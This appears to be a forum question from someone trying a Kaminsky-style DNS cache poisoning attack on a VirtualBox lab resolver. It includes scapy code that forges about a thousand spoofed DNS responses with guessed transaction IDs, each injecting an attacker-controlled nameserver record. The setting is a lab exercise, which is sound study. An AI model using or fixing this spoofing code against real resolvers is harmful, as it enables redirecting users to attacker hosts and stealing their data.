title: DNS Cache poisoning in python
body: <p>I'm trying to perform the attack descripted as  Dan's Shenanigans  <a href="http://unixwiz.net/techtips/iguide-kaminsky-dns-vuln.html" rel="nofollow noreferrer"> In this tutorial </a> on a vulnerable machine in virtual box, but the cache is not overwritten.</p>
  
  <ul>
  <li>The recursive server is at the address 192.168.56.20</li>
  <li>The attacker's machine is at 192.168.56.1</li>
  <li>The attacker's machine is also authoritative for the domain badguy.ru</li>
  <li>The recursive server uses a fixed port to make requests.</li>
  </ul>
  
  <p>Looking at wireshark when I perform a request for the domain badguy.ru I receive on the attacker's machine these packets:
  <a href="https://i.stack.imgur.com/8KL6H.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/8KL6H.png" alt="enter image description here"></a>
  The details are the following:</p>
  
  <p>The first one
  <a href="https://i.stack.imgur.com/b1vfA.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/b1vfA.png" alt="First one"></a></p>
  
  <p>The second one</p>
  
  <p><a href="https://i.stack.imgur.com/6N0GJ.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/6N0GJ.png" alt="enter image description here"></a></p>
  
  <p>so in this case I saved in the variables </p>
  
  <ul>
  <li>sniffed_ip = 10.10.0.1</li>
  <li>sniffed_port=56488(not visible in the screenshots)</li>
  <li>query_id=0xe16c</li>
  </ul>
  
  <p>I build the packets with scapy with adjacent the subsequent query/transaction ids in a range of 1000 packets, I make a fake request and finally I send the packets</p>
  
  <pre><code>packet_list = []
  for i in range(args.range):
      pkt = (IP(src=sniffed_ip, dst='192.168.56.20')
             / UDP(sport=53, dport=sniffed_port)
             / DNS(id=query_id, 
                   an=None,
                   qr=1,
                   qd=DNSQR(qname='www123.bankofsteve.com', qtype="A"),
                   ns=(DNSRR(rrname='bankofsteve.com', type='NS', ttl=60000, rdata='ns.bankofsteve.com')),
                   ar=(DNSRR(rrname='ns.bankofsteve.com', type="A", ttl=60000, rdata='192.168.56.1'))))
  
      query_id=(query_id+1)%65536
      pkt.getlayer('DNS').id = query_id
      packet_list.append(pkt)
  
  send(IP(dst='192.168.56.20') / UDP(dport=53) / DNS(rd=1, qd=DNSQR(qname='www123.bankofsteve.com')), verbose=0)
  send(packet_list)
  </code></pre>
  
  <p>Packets arrive correctly to the recursive server but cache is not poisoned, I cannot understand where is the error, I think that it's not probably a valid response packet. Thanks in advance</p>